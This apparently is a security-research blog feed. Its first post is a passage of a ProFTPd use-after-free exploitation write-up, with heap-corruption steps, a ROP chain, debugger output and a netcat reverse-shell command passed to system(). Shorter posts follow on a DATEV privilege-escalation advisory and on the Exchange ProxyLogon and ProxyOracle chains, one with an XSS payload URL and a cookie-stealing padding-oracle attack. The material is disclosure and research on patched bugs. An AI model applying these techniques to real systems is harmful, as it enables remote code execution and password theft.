We can use mod_copy to copy the file from /proc/self/maps to /tmp, and once there, we perform a normal transfer over the file at /tmp which is not a pseudo-file now, so /proc/self/maps content will be returned to attacker.

This leak is really interesting as it gives you addresses for every segment, and even the filename of the shared libraries, which sometimes contain versions like libc-2.31.so, and this is really interesting for exploit reliability, we could use offsets for specific libc versions.

Hijacking the control-flow

We have to transform our control over session.curr_cmd_rec->pool into any write primitive allowing us to reach run_cleanups() somehow with an arbitrary cleanup_t struct.

Looking for struct entry writes, there was nothing useful that would allow us direct write-what-where primitives (would be a lot easier this way).

Instead, the only way we can use to write something on arbitrary addresses is to use make_sub_pool() (at pool.c:415), which is called with cmd->pool as argument at some point:


struct pool_rec *make_sub_pool(struct pool_rec *p) {
  union block_hdr *blok;
  pool *new_pool;

  pr_alarms_block();

  blok = new_block(0, FALSE);

  new_pool = (pool *) blok->h.first_avail;
  blok->h.first_avail = POOL_HDR_BYTES + (char *) blok->h.first_avail;

  memset(new_pool, 0, sizeof(struct pool_rec));
  new_pool->free_first_avail = blok->h.first_avail;
  new_pool->first = new_pool->last = blok;

  if (p) {
    new_pool->parent = p;
    new_pool->sub_next = p->sub_pools;

    if (new_pool->sub_next)
      new_pool->sub_next->sub_prev = new_pool;

    p->sub_pools = new_pool;
  }

  pr_alarms_unblock();

  return new_pool;
}

This function is called at main.c:287 from _dispatch() function with our controlled pool as argument:


...

      if (cmd->tmp_pool == NULL) {
        cmd->tmp_pool = make_sub_pool(cmd->pool);
        pr_pool_tag(cmd->tmp_pool, "cmd_rec tmp pool");
      }
      
...

As you can see new_pool->sub_next has now the value of p->sub_pools, which is controlled, then we enter on new_pool->sub_next->sub_prev the new_pool pointer.

This means, we can write to any arbitrary address the value of new_pool, which apparently, appears not to be so useful at all, as the only relationship we have with this newly created pool cmd->tmp_pool is that cmd->tmp_pool->parent is equal to resp_pool as we are the parent pool for it.

Also the only value we control is the new_pool->sub_next, which we actually use for the write primitive.

What more interesting primitives do we have?

On a previous section we explained how the ProFTPd pool allocator works, when a new pool is created, p->first and p->last point to blocks used for the pool, we are interested in the p->last as it is the block that is actually used, as we can see on alloc_pool() at pool.c:570:

...

  blok = p->last;
  if (blok == NULL) {
    errno = EINVAL;
    return NULL;
  }

  first_avail = blok->h.first_avail;
  
...

first_avail is the pointer to the limit between used data and available free space, which is where we will start to allocate memory.

Our pool is passed to pstrdup() multiple times for string allocation:


char *pstrdup(pool *p, const char *str) {
  char *res;
  size_t len;

  if (p == NULL ||
      str == NULL) {
    errno = EINVAL;
    return NULL;
  }

  len = strlen(str) + 1;

  res = palloc(p, len);
  if (res != NULL) {
    sstrncpy(res, str, len);
  }

  return res;
}

This function calls palloc() which ends up calling alloc_pool()

The allocations are mostly non-controllable strings, which seem not useful to us, except from one allocation at cmd.c:373 on function pr_cmd_get_displayable_str():

...

  if (pr_table_add(cmd->notes, pstrdup(cmd->pool, "displayable-str"),
      pstrdup(cmd->pool, res), 0) < 0) {
    if (errno != EEXIST) {
      pr_trace_msg(trace_channel, 4,
        "error setting 'displayable-str' command note: %s", strerror(errno));
    }
  }
  
...

As you can see, cmd->pool (our controlled pool) is passed to pstrdup(), and as seen at cmd.c:363:


...

  if (argc > 0) {
    register unsigned int i;

    res = pstrcat(p, res, pr_fs_decode_path(p, argv[0]), NULL);

    for (i = 1; i < argc; i++) {
      res = pstrcat(p, res, " ", pr_fs_decode_path(p, argv[i]), NULL);
    }
  }

... 
 

res points to our last command sent


...

  if (pr_table_add(cmd->notes, pstrdup(cmd->pool, "displayable-str"),
      pstrdup(cmd->pool, res), 0) < 0) {
    if (errno != EEXIST) {
      pr_trace_msg(trace_channel, 4,
        "error setting 'displayable-str' command note: %s", strerror(errno));
    }
  }
  
...

This means if we send arbitrary data instead of a command, we could enter custom data on pool block space, and as we can corrupt p->last we can make blok->h.first_avail point to any address we want, and this means we can overwrite through a command any data.

Unfortunately, it is not like our corruption from data channel, as here our commands are treated as strings, and not binary data as the data channel does.

This means we are very limited on overwriting structs or any useful data.

Also, some allocations happen before, and the heap from the intial value of blok->h.first_avail to that value when pstrdup()‘ing our command will be full of strings, and non valid pointers which could likely end up on a crash before reaching run_cleanups().

Initially, I decided to use blok->h.first_avail to overwrite cmd->tmp_pool entries with arbitrary data.

This pool is freed with destroy_pool() at main.c:409 on function _dispatch():


...

      destroy_pool(cmd->tmp_pool);
      cmd->tmp_pool = NULL;
      
...

This means if we control the cmd->tmp_pool->cleanups value when reaching clear_pool() we would have the ability to control RIP and RDI once run_cleanups() is called:


void destroy_pool(pool *p) {
  if (p == NULL) {
    return;
  }

  pr_alarms_block();

  if (p->parent) {
    if (p->parent->sub_pools == p) {
      p->parent->sub_pools = p->sub_next;
    }

    if (p->sub_prev) {
      p->sub_prev->sub_next = p->sub_next;
    }

    if (p->sub_next) {
      
      p->sub_next->sub_prev = p->sub_prev;
    }
  }

  clear_pool(p);
  free_blocks(p->first, p->tag);

  pr_alarms_unblock();
  
}

As you can see clear_pool() is called, but after accessing some of the entries of the pool, which must be either NULL or a valid writable address.

Once clear_pool() is called:


static void clear_pool(struct pool_rec *p) {

  /* Sanity check. */
  if (p == NULL) {
    return;
  }

  pr_alarms_block();

  run_cleanups(p->cleanups);
  p->cleanups = NULL;

  while (p->sub_pools) {
    destroy_pool(p->sub_pools);
  }

  p->sub_pools = NULL;

  free_blocks(p->first->h.next, p->tag);
  p->first->h.next = NULL;

  p->last = p->first;
  p->first->h.first_avail = p->free_first_avail;

  pr_alarms_unblock();
}

We can see that run_cleanups() is called directly without more checks / memory writes.

When calling function run_cleanups():


static void run_cleanups(cleanup_t *c) {
  while (c) {
    if (c->plain_cleanup_cb) {
      (*c->plain_cleanup_cb)(c->data);
    }

    c = c->next;
  }
}

Looking at cleanup_t struct:


typedef struct cleanup {
  void *data;
  void (*plain_cleanup_cb)(void *);
  void (*child_cleanup_cb)(void *);
  struct cleanup *next;

} cleanup_t;

We can control RIP with c->plain_cleanup_cb and RDI with c->data

Unfortunately, corrupting cmd->tmp_pool is difficult, as a string displayable-str is appended right after our controllable data, and right after our p->cleanup entry there are some entries that are accessed on destroy_pool() before reaching run_cleanups().

@DUKPT_ who is also working on a PoC for this vulnerability was overwriting gid_tab->pool. Which is a more reliable technique as there are no pointers after our controllable data, so when displayable-str is appended, nothing serious will be broken, and also, here, instead of corrupting a pool_rec structure, we corrupt a pr_table_t structure, so we can point gid_tab->pool to memory corrupted from the data channel, which also accepts NULLs and we can craft a fake pool_rec structure with an arbitrary p->cleanup value to a fake cleanup_t struct which will be finally passed to run_cleanups().

The interesting use of gid_tab is also that gid_tab->pool is passed to destroy_pool() on pr_table_free() with argument gid_tab:


int pr_table_free(pr_table_t *tab) {

  if (tab == NULL) {
    errno = EINVAL;
    return -1;
  }

  if (tab->nents != 0) {
    errno = EPERM;
    return -1;
  }

  destroy_pool(tab->pool);
  return 0;
}

This is how pr_table_t looks like:


struct table_rec {
  pool *pool;
  unsigned long flags;
  unsigned int seed;
  unsigned int nmaxents;
  pr_table_entry_t **chains;
  unsigned int nchains;
  unsigned int nents;
  pr_table_entry_t *free_ents;
  pr_table_key_t *free_keys;
  pr_table_entry_t *tab_iter_ent;
  pr_table_entry_t *val_iter_ent;
  pr_table_entry_t *cache_ent;
  int (*keycmp)(const void *, size_t, const void *, size_t);
  unsigned int (*keyhash)(const void *, size_t);
  void (*entinsert)(pr_table_entry_t **, pr_table_entry_t *);
  void (*entremove)(pr_table_entry_t **, pr_table_entry_t *);
};

...

typedef struct table_rec pr_table_t;

As you can see after tab->pool (tab->flags, tab->seed and tab->nmaxents) there are no pointers so the string appended will not trigger crashes

So, what is the plan?

1) Craft a fake block_hdr structure that will be pointed to by p->last

2) Enter on fake_blok->h.first_avail a pointer to gid_tab minus some offset, where offset is depending on the number of allocations and their size, so when pstrdup() copies our arbitrary command, fake_blok->h.first_avail value is exactly the address of gid_tab to fit our address

3) Enter on p->sub_next the address of tab->chains so when pr_table_kget() is called, NULL is returned to make our arbitrary command being allocated.

4) Send a custom command with a fake pr_table_t, actually, just the tab->pool is needed, and point fake_tab->pool to a fake pool_rec struct

5) Craft the fake pool_rec struct, point fake_pool->parent, fake_pool->sub_next and fake_pool->sub_prev to any writable address, and fake_pool->cleanup to a fake cleanup_t struct containing our arbitrary RIP and RDI values

This is the result of exploiting the hijack technique:

*0x4242424242424242 (
   $rdi = 0x4141414141414141,
   $rsi = 0x0000000000000000,
   $rdx = 0x4242424242424242,
   $rcx = 0x0000555555579c00 → <entry_remove+0> endbr64 
)

As you can see c->plain_cleanup_cb has value 0x4242424242424242, and c->data has value 0x4141414141414141.

Which means RIP and RDI are fully controlled.

Getting RCE

As explained, our main target is reaching run_cleanups() function with an arbitrary address, or with a non-arbitrary address but controlling it’s content. This allow us to obtain full RIP and RDI control, which taking into account that we already have predictable addresses for every segment, means a Remote Code Execution is likely to be possible.

Some ways to obtain Remote Code Execution:

Stack pivot, ROP and shellcode execution

As we control both RIP and RDI, we could search for useful gadgets that would allow us to redirect control-flow using a ROPchain to bypass NX.

When reaching run_cleanups()

gef➤  p *c
$7 = {
  data = 0x563593915280,
  plain_cleanup_cb = 0x7f875ab201a1 <authnone_marshal+17>,
  child_cleanup_cb = 0x4141414141414141,
  next = 0x4242424242424242
}
gef➤  x/2i c->plain_cleanup_cb
   0x7f875ab201a1 <authnone_marshal+17>:	push   rdi
   0x7f875ab201a2 <authnone_marshal+18>:	pop    rsp
gef➤  

When entering on the stack pivot gadget:

 → 0x7f875ab201a1 <authnone_marshal+17> push   rdi
   0x7f875ab201a2 <authnone_marshal+18> pop    rsp
   0x7f875ab201a3 <authnone_marshal+19> lea    rsi, [rdi+0x48]
   0x7f875ab201a7 <authnone_marshal+23> mov    rdi, r8
   0x7f875ab201aa <authnone_marshal+26> mov    rax, QWORD PTR [rax+0x18]
   0x7f875ab201ae <authnone_marshal+30> jmp    rax

We crafted previously our resp_pool struct to point rax to the address where an address pointing near a ret instruction is stored. So when:

mov    rax, QWORD PTR [rax+0x18]

is executed, we get in rax the address, which will be used just on next instruction: jmp rax.

As it is near a ret instruction, we will finally execute our ROPchain as we pointed rsp right before our ROPchain, and a ret instruction just got executed.

gef➤  p $rax
$5 = 0x563593915358
gef➤  x/gx $rax + 0x18
0x563593915370:	0x00007f875a9fc679
gef➤  x/i 0x00007f875a9fc679
   0x7f875a9fc679 <__libgcc_s_init+61>:	ret 

At the time of jmp rax:

   0x7f875ab201a3 <authnone_marshal+19> lea    rsi, [rdi+0x48]
   0x7f875ab201a7 <authnone_marshal+23> mov    rdi, r8
   0x7f875ab201aa <authnone_marshal+26> mov    rax, QWORD PTR [rax+0x18]
 → 0x7f875ab201ae <authnone_marshal+30> jmp    rax
   0x7f875ab201b0 <authnone_marshal+32> xor    eax, eax
   0x7f875ab201b2 <authnone_marshal+34> ret    

--------------------------------------------------------------

gef➤  p $rax
$6 = 0x7f875a9fc679
gef➤  x/i $rax
   0x7f875a9fc679 <__libgcc_s_init+61>:	ret 

And we can see stack was pivoted successfully:

gef➤  p $rsp
$7 = (void *) 0x563593915358
gef➤  x/gx 0x563593915358
0x563593915358:	0x00007f875aa21550
gef➤  x/i 0x00007f875aa21550
   0x7f875aa21550 <mblen+112>:	pop    rax

ROPchain will setup a syscall call to SYS_mprotect, which will change memory protection for a heap range to RXW. Then, we will jump into the shellcode, thus finally achieving Remote Code Execution

If we check the mappings with gdb we can see that part of the heap is now RWX, which is actually where the shellcode resides:

0x0000563593889000 0x00005635938cb000 0x0000000000000000 rw- [heap]
0x00005635938cb000 0x0000563593915000 0x0000000000000000 rw- [heap]
0x0000563593915000 0x0000563593916000 0x0000000000000000 rwx [heap]
0x0000563593916000 0x000056359394e000 0x0000000000000000 rw- [heap]

Now we are jumping to shellcode, as it now resides on executable memory, so Remote Code Execution succeed:

   0x7f875aa3d229 <funlockfile+73> syscall 
 → 0x7f875aa3d22b <funlockfile+75> ret    
   ↳  0x563593915310                  push   0x29
      0x563593915312                  pop    rax
      0x563593915313                  push   0x2
      0x563593915315                  pop    rdi
      0x563593915316                  push   0x1
      0x563593915318                  pop    rsi

Chaining all this together into an exploit, this is an screenshot of the successful exploitation of this vulnerability using the ROP approach:

Demo

ret2libc or ret2X

You can jump to any function and control one argument, this means you can call any function with an arbitrary argument. You can reuse register values for other arguments aswell, but you rely on current registers to be valid for target function, eg.: an invalid pointer would trigger a crash

The approach I followed with this method is calling system() and pointing RDI to a custom command string (netcat reverse shell) I leave in heap with a predictable address.

First we reach destroy_pool() with the fake pool_rec struct, actually we reuse entries from our initially controlled struct:

gef➤  p *p
$1 = {
  first = 0x563f5c9c6280,
  last = 0x7361626174614472,
  cleanups = 0x563f5c9a62d0,
  sub_pools = 0x563f5c9a6298,
  sub_next = 0x563f5c9a62a0,
  sub_prev = 0x563f5c9a0a90,
  parent = 0x563f5c94a738,
  free_first_avail = 0x563f5c94a7e0 "\260\251\224\\?V",
  tag = 0x563f5c9a526e ""
}
gef➤  p *resp_pool
$2 = {
  first = 0x563f5c9a62d0,
  last = 0x563f5c9a6298,
  cleanups = 0x563f5c9a62a0,
  sub_pools = 0x563f5c9a0a90,
  sub_next = 0x563f5c94a738,
  sub_prev = 0x563f5c94a7e0,
  parent = 0x563f5c9a526e,
  free_first_avail = 0x563f5c9a526e "",
  tag = 0x563f5c9a526e ""
}

Then, destroy_pool() is going to call clear_pool(), which finally ends up calling run_cleanups() with our fake cleanup_t struct, pointed to by p->cleanups:

gef➤  p *c
$3 = {
  data = 0x563f5c9a62f0,
  plain_cleanup_cb = 0x7fca503f1410 <__libc_system>,
  child_cleanup_cb = 0x4141414141414141,
  next = 0x4242424242424242
}
gef➤  x/s c->data
0x563f5c9a62f0:	"nc -e/bin/bash 127.0.0.1 4444"

As we can see c->plain_cleanup_cb (future RIP) points to __libc_system(), and c->data points to our command string stored on heap

The result if we continue, is the execution of a new process as part of the command execution: process 35209 is executing new program: /usr/bin/ncat

And finally obtaining a reverse shell as the user you logged in with into the FTP server.

Demo

RCE Video Demo also available on GitHub (same directory where the exploit resides)

Patch

You can find the GitHub issue and patches for this vulnerability here.

Conclusion

On this post we analyzed and demonstrated exploitation for a Use-After-Free in ProFTPd, and could get full Remote Code Execution even with all the protections turned on (ASLR, PIE, NX, RELRO, STACKGUARD etc)

Perhaps authentication is needed, this is sometimes a situation an attacker has, but can not go forward without a RCE exploit like this.

You can find the ROP approach exploit here.

You can find the other exploit using system() and netcat here.

EoF

We hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC.

Schwachstelle in Datev

15 August 2021 at 21:27
CVE CVE-2021-41428 Verwundbare Software Sowohl der Update-Manager bis Version 5.8.0.2300, als auch DFL bis zur Version 12.5.1001.5 sind von dieser Schwachstelle betroffen. Schwachstelle Eine unzureichende Konfiguration des Dienstes erlaubt eine Erweiterung der Rechte auf System-Ebene. Zeitlinie 22.06.2021 Hersteller informiert 24.06.2021 Terminvereinbarung für Rückfragen 05.07.2021 Rückfragen und weiteres Vorgehen 01.08.2021 Update 16.08.2021 Veröffentlichung Referenzen DATEV Help […]

ProxyLogon 僅僅只是冰山一角,一個針對 Microsoft Exchange Server 的全新攻擊面!

6 August 2021 at 16:00

Microsoft Exchange Server 作為當今世界上最常見的郵件解決方案,已經幾乎是企業以及政府每日工作與維繫安全不可或缺的一部分!在今年一月,我們回報了一系列的 Exchange Server 漏洞給 Microsoft,並且將這個漏洞它命名為 ProxyLogon,相信如果您有在關注業界新聞,一定也聽過這個名字!ProxyLogon 也許是 Exchange 歷史上最嚴重、影響力也最大的一個漏洞!

隨著更深入的從架構層去研究 ProxyLogon,我們發現它不僅僅只是一個漏洞,而是一整個新的、沒有人提過的攻擊面可讓駭客或安全研究員去挖掘更多的漏洞。因此我們專注深入研究這個攻擊面,並從中發現了至少八個漏洞,這些漏洞涵蓋了伺服器端、客戶端,甚至密碼學漏洞,我們並將這些漏洞組合成了三個攻擊鏈:

  1. ProxyLogon: 最知名、影響力也最大的 Exchange 攻擊鏈
  2. ProxyOracle: 一個可以還原任意 Exchange 使用者明文密碼的攻擊鏈
  3. ProxyShell: 我們在 Pwn2Own 2021 上展示打掉 Exchange 的攻擊鏈

所有我們找到的漏洞都是邏輯漏洞,這代表相較於記憶體毀損類型的漏洞,這些漏洞更容易被重現以及利用,我們也將成果發表至 Black Hat USADEFCON 上,也同時獲得了 2021 Pwnie Awards 年度 Best Server-Side Bug 獎項,如果你有興趣的話可以從這邊下載會議的投影片!

  • ProxyLogon is Just the Tip of the Iceberg: A New Attack Surface on Microsoft Exchange Server! [投影片] [影片]

本次提及的漏洞皆經過負責任的漏洞接露程序回報給微軟、並獲得修復,您可以從下面這張圖查看詳細的漏洞編號及回報時間表。

Report Time Name CVE Patch Time CAS[1] Reported By
Jan 05, 2021 ProxyLogon CVE-2021-26855 Mar 02, 2021 Yes Orange Tsai, Volexity and MSTIC
Jan 05, 2021 ProxyLogon CVE-2021-27065 Mar 02, 2021 - Orange Tsai, Volexity and MSTIC
Jan 17, 2021 ProxyOracle CVE-2021-31196 Jul 13, 2021 Yes Orange Tsai
Jan 17, 2021 ProxyOracle CVE-2021-31195 May 11, 2021 - Orange Tsai
Apr 02, 2021 ProxyShell[2] CVE-2021-34473 Apr 13, 2021 Yes Orange Tsai working with ZDI
Apr 02, 2021 ProxyShell[2] CVE-2021-34523 Apr 13, 2021 Yes Orange Tsai working with ZDI
Apr 02, 2021 ProxyShell[2] CVE-2021-31207 May 11, 2021 - Orange Tsai working with ZDI
Jun 02, 2021 - - - Yes Orange Tsai
Jun 02, 2021 - CVE-2021-33768 Jul 13, 2021 - Orange Tsai and Dlive

[1] Bugs relate to this new attack surface direclty
[2] Pwn2Own 2021 bugs

更詳盡的技術細節我們已陸續公布,後續連結會持續更新於本文,敬請期待:

A New Attack Surface on MS Exchange Part 2 - ProxyOracle!

5 August 2021 at 16:00

Hi, this is the part 2 of the New MS Exchange Attack Surface. Because this article refers to several architecture introductions and attack surface concepts in the previous article, you could find the first piece here:

This time, we will be introducing ProxyOracle. Compared with ProxyLogon, ProxyOracle is an interesting exploit with a different approach. By simply leading a user to visit a malicious link, ProxyOracle allows an attacker to recover the user’s password in plaintext format completely. ProxyOracle consists of two vulnerabilities:

Where is ProxyOracle

So where is ProxyOracle? Based on the CAS architecture we introduced before, the Frontend of CAS will first serialize the User Identity to a string and put it in the header of X-CommonAccessToken. The header will be merged into the client’s HTTP request and sent to the Backend later. Once the Backend receives, it deserializes the header back to the original User Identity in Frontend.

We now know how the Frontend and Backend synchronize the User Identity. The next is to explain how the Frontend knows who you are and processes your credentials. The Outlook Web Access (OWA) uses a fancy interface to handle the whole login mechanism, which is called Form-Based Authentication (FBA). The FBA is a special IIS module that inherits the ProxyModule and is responsible for executing the transformation between the credentials and cookies before entering the proxy logic.

The FBA Mechanism

HTTP is a stateless protocol. To keep your login state, FBA saves the username and password in cookies. Every time you visit the OWA, Exchange will parse the cookies, retrieve the credential and try to log in with that. If the login succeed, Exchange will serialize your User Identity into a string, put it into the header of X-CommonAccessToken, and forward it to the Backend

HttpProxy\FbaModule.cs

protected override void OnBeginRequestInternal(HttpApplication httpApplication) {

    httpApplication.Context.Items["AuthType"] = "FBA";
    if (!this.HandleFbaAuthFormPost(httpApplication)) {
        try {
            this.ParseCadataCookies(httpApplication);
        } catch (MissingSslCertificateException) {
            NameValueCollection nameValueCollection = new NameValueCollection();
            nameValueCollection.Add("CafeError", ErrorFE.FEErrorCodes.SSLCertificateProblem.ToString());
            throw new HttpException(302, AspNetHelper.GetCafeErrorPageRedirectUrl(httpApplication.Context, nameValueCollection));
        }
    }
    base.OnBeginRequestInternal(httpApplication);
}

All the cookies are encrypted to ensure even if an attacker can hijack the HTTP request, he/she still couldn’t get your credential in plaintext format. FBA leverages 5 special cookies to accomplish the whole de/encryption process:

  • cadata - The encrypted username and password
  • cadataTTL - The Time-To-Live timestamp
  • cadataKey - The KEY for encryption
  • cadataIV - The IV for encryption
  • cadataSig - The signature to prevent tampering

The encryption logic will first generate two 16 bytes random strings as the IV and KEY for the current session. The username and password will then be encoded with Base64, encrypted by the algorithm AES and sent back to the client within cookies. Meanwhile, the IV and KEY will be sent to the user, too. To prevent the client from decrypting the credential by the known IV and KEY directly, Exchange will once again use the algorithm RSA to encrypt the IV and KEY via its SSL certificate private key before sending out!

Here is a Pseudo Code for the encryption logic:

 @key = GetServerSSLCert().GetPrivateKey()
 cadataSig = RSA(@key).Encrypt("Fba Rocks!")
 cadataIV  = RSA(@key).Encrypt(GetRandomBytes(16))
 cadataKey = RSA(@key).Encrypt(GetRandomBytes(16))

 @timestamp = GetCurrentTimestamp()
 cadataTTL  = AES_CBC(cadataKey, cadataIV).Encrypt(@timestamp)

 @blob  = "Basic " + ToBase64String(UserName + ":" + Password)
 cadata = AES_CBC(cadataKey, cadataIV).Encrypt(@blob)

The Exchange takes CBC as its padding mode. If you are familiar with Cryptography, you might be wondering whether the CBC mode here is vulnerable to the Padding Oracle Attack? Bingo! As a matter of fact, Padding Oracle Attack is still existing in such essential software like Exchange in 2021!

CVE-2021-31196 - The Padding Oracle

When there is something wrong with the FBA, Exchange attaches an error code and redirects the HTTP request back to the original login page. So where is the Oracle? In the cookie decryption, Exchange uses an exception to catch the Padding Error, and because of the exception, the program returned immediately so that error code number is 0, which means None:

Location: /OWA/logon.aspx?url=…&reason=0

In contrast with the Padding Error, if the decryption is good, Exchange will continue the authentication process and try to login with the corrupted username and password. At this moment, the result must be a failure and the error code number is 2, which represents InvalidCredntials:

Location: /OWA/logon.aspx?url=…&reason=2

The diagram looks like:

With the difference, we now have an Oracle to identify whether the decryption process is successful or not.

HttpProxy\FbaModule.cs

private void ParseCadataCookies(HttpApplication httpApplication)
{
    HttpContext context = httpApplication.Context;
    HttpRequest request = context.Request;
    HttpResponse response = context.Response;
    
    string text = request.Cookies["cadata"].Value;    
    string text2 = request.Cookies["cadataKey"].Value;    
    string text3 = request.Cookies["cadataIV"].Value;    
    string text4 = request.Cookies["cadataSig"].Value;    
    string text5 = request.Cookies["cadataTTL"].Value;
    
    // ...
    RSACryptoServiceProvider rsacryptoServiceProvider = (x509Certificate.PrivateKey as RSACryptoServiceProvider);
    
    byte[] array = null;
    byte[] array2 = null;
    byte[] rgb2 = Convert.FromBase64String(text2);
    byte[] rgb3 = Convert.FromBase64String(text3);
    array = rsacryptoServiceProvider.Decrypt(rgb2, true);
    array2 = rsacryptoServiceProvider.Decrypt(rgb3, true);
    
    // ...
    
    using (AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider()) {
        aesCryptoServiceProvider.Key = array;
        aesCryptoServiceProvider.IV = array2;
        
        using (ICryptoTransform cryptoTransform2 = aesCryptoServiceProvider.CreateDecryptor()) {
            byte[] bytes2 = null;
            try {
                byte[] array5 = Convert.FromBase64String(text);
                bytes2 = cryptoTransform2.TransformFinalBlock(array5, 0, array5.Length);
            } catch (CryptographicException ex8) {
                if (ExTraceGlobals.VerboseTracer.IsTraceEnabled(1)) {
                    ExTraceGlobals.VerboseTracer.TraceDebug<CryptographicException>((long)this.GetHashCode(), "[FbaModule::ParseCadataCookies] Received CryptographicException {0} transforming auth", ex8);
                }
                httpApplication.Response.AppendToLog("&CryptoError=PossibleSSLCertrolloverMismatch");
                return;
            } catch (FormatException ex9) {
                if (ExTraceGlobals.VerboseTracer.IsTraceEnabled(1)) {
                    ExTraceGlobals.VerboseTracer.TraceDebug<FormatException>((long)this.GetHashCode(), "[FbaModule::ParseCadataCookies] Received FormatException {0} decoding caData auth", ex9);
                }
                httpApplication.Response.AppendToLog("&DecodeError=InvalidCaDataAuthCookie");
                return;
            }
            string @string = Encoding.Unicode.GetString(bytes2);
            request.Headers["Authorization"] = @string;
        }
    }
}

It should be noted that since the IV is encrypted with the SSL certificate private key, we can’t recover the first block of the ciphertext through XOR. But it wouldn’t cause any problem for us because the C# internally processes the strings as UTF-16, so the first 12 bytes of the ciphertext must be B\x00a\x00s\x00i\x00c\x00 \x00. With one more Base64 encoding applied, we will only lose the first 1.5 bytes in the username field.

(16−6×2) ÷ 2 × (3/4) = 1.5

The Exploit

As of now, we have a Padding Oracle that allows us to decrypt any user’s cookie. BUT, how can we get the client cookies? Here we find another vulnerability to chain them together.

XSS to Steal Client Cookies

We discover an XSS (CVE-2021-31195) in the CAS Frontend (Yeah, CAS again) to chain together, the root cause of this XSS is relatively easy: Exchange forgets to sanitize the data before printing it out so that we can use the \ to escape from the JSON format and inject arbitrary JavaScript code.

https://exchange/owa/auth/frowny.aspx
?app=people
&et=ServerError
&esrc=MasterPage
&te=\
&refurl=}}};alert(document.domain)//

But here comes another question: all the sensitive cookies are protected by the HttpOnly flag, which makes us unable to access the cookies by JavaScript. WHAT SHOULD WE DO?

Bypass the HttpOnly

As we could execute arbitrary JavaScript on browsers, why don’t we just insert the SSRF cookie we used in ProxyLogon? Once we add this cookie and assign the Backend target value as our malicious server, Exchange will become a proxy between the victims and us. We can then take over all the client’s HTTP static resources and get the protected HttpOnly cookies!

By chaining bugs together, we have an elegant exploit that can steal any user’s cookies by just sending him/her a malicious link. What’s noteworthy is that the XSS here is only helping us to steal the cookie, which means all the decryption processes wouldn’t require any authentication and user interaction. Even if the user closes the browser, it wouldn’t affect our Padding Oracle Attack!

Here is the demonstration video showing how we recover the victim’s password:

A New Attack Surface on MS Exchange Part 1 - ProxyLogon!

5 August 2021 at 16:00

The series of A New Attack Surface on MS Exchange:

Microsoft Exchange, as one of the most common email solutions in the world, has become part of the daily operation and security connection for governments and enterprises. This January, we reported a series of vulnerabilities of Exchange Server to Microsoft and named it as ProxyLogon. ProxyLogon might be the most severe and impactful vulnerability in the Exchange history ever. If you were paying attention to the industry news, you must have heard it.

While looking into ProxyLogon from the architectural level, we found it is not just a vulnerability, but an attack surface that is totally new and no one has ever mentioned before. This attack surface could lead the hackers or security researchers to more vulnerabilities. Therefore, we decided to focus on this attack surface and eventually found at least 8 vulnerabilities. These vulnerabilities cover from server side, client side, and even crypto bugs. We chained these vulnerabilities into 3 attacks:

  1. ProxyLogon: The most well-known and impactful Exchange exploit chain
  2. ProxyOracle: The attack which could recover any password in plaintext format of Exchange users
  3. ProxyShell: The exploit chain we demonstrated at Pwn2Own 2021 to take over Exchange and earn $200,000 bounty

I would like to highlight that all vulnerabilities we unveiled here are logic bugs, which means they could be reproduced and exploited more easily than any memory corruption bugs. We have presented our research at Black Hat USA and DEFCON, and won the Best Server-Side bug of Pwnie Awards 2021. You can check our presentation materials here:

  • ProxyLogon is Just the Tip of the Iceberg: A New Attack Surface on Microsoft Exchange Server! [Slides] [Video]

By understanding the basics of this new attack surface, you won’t be surprised why we can pop out 0days easily!

Intro

I would like to state that all the vulnerabilities mentioned have been reported via the responsible vulnerability disclosure process and patched by Microsoft. You could find more detail of the CVEs and the report timeline from the following table.

Report Time Name CVE Patch Time CAS[1] Reported By
Jan 05, 2021 ProxyLogon CVE-2021-26855 Mar 02, 2021 Yes Orange Tsai, Volexity and MSTIC
Jan 05, 2021 ProxyLogon CVE-2021-27065 Mar 02, 2021 - Orange Tsai, Volexity and MSTIC
Jan 17, 2021 ProxyOracle CVE-2021-31196 Jul 13, 2021 Yes Orange Tsai
Jan 17, 2021 ProxyOracle CVE-2021-31195 May 11, 2021 - Orange Tsai
Apr 02, 2021 ProxyShell[2] CVE-2021-34473 Apr 13, 2021 Yes Orange Tsai working with ZDI
Apr 02, 2021 ProxyShell[2] CVE-2021-34523 Apr 13, 2021 Yes Orange Tsai working with ZDI
Apr 02, 2021 ProxyShell[2] CVE-2021-31207 May 11, 2021 - Orange Tsai working with ZDI
Jun 02, 2021 - - - Yes Orange Tsai
Jun 02, 2021 - CVE-2021-33768 Jul 13, 2021 - Orange Tsai and Dlive

[1] Bugs relate to this new attack surface direclty
[2] Pwn2Own 2021 bugs

Why did Exchange Server become a hot topic? From my point of view, the whole ProxyLogon attack surface is actually located at an early stage of Exchange request processing. For instance, if the entrance of Exchange is 0, and 100 is the core business logic, ProxyLogon is somewhere around 10. Again, since the vulnerability is located at the beginning place, I believe anyone who has reviewed the security of Exchange carefully would spot the attack surface. This was also why I tweeted my worry about bug collision after reporting to Microsoft. The vulnerability was so impactful, yet it’s a simple one and located at such an early stage.

You all know what happened next, Volexity found that an APT group was leveraging the same SSRF (CVE-2021-26855) to access users’ emails in early January 2021 and reported to Microsoft. Microsoft also released the urgent patches in March. From the public information released afterwards, we found that even though they used the same SSRF, the APT group was exploiting it in a very different way from us. We completed the ProxyLogon attack chain through CVE-2021-27065, while the APT group used EWS and two unknown vulnerabilities in their attack. This has convinced us that there is a bug collision on the SSRF vulnerability.

Image from Microsoft Blog

Regarding the ProxyLogon PoC we reported to MSRC appeared in the wild in late February, we were as curious as everyone after eliminating the possibility of leakage from our side through a thorough investigation. With a clearer timeline appearing and more discussion occurring, it seems like this is not the first time that something like this happened to Microsoft. Maybe you would be interested in learning some interesting stories from here.

Why targeting on Exchange Server?

Mail server is a highly valuable asset that holds the most confidential secrets and corporate data. In other words, controlling a mail server means controlling the lifeline of a company. As the most common-use email solution, Exchange Server has been the top target for hackers for a long time. Based on our research, there are more than four hundred thousands Exchange Servers exposed on the Internet. Each server represents a company, and you can imagine how horrible it is while a severe vulnerability appeared in Exchange Server.

Normally, I will review the existing papers and bugs before starting a research. Among the whole Exchange history, is there any interesting case? Of course. Although most vulnerabilities are based on known attack vectors, such as the deserialization or bad input validation, there are still several bugs that are worth mentioning.

The most special

The most special one is the arsenal from Equation Group in 2017. It’s the only practical and public pre-auth RCE in the Exchange history. Unfortunately, the arsenal only works on an ancient Exchange Server 2003. If the arsenal leak happened earlier, it could end up with another nuclear-level crisis.

The most interesting

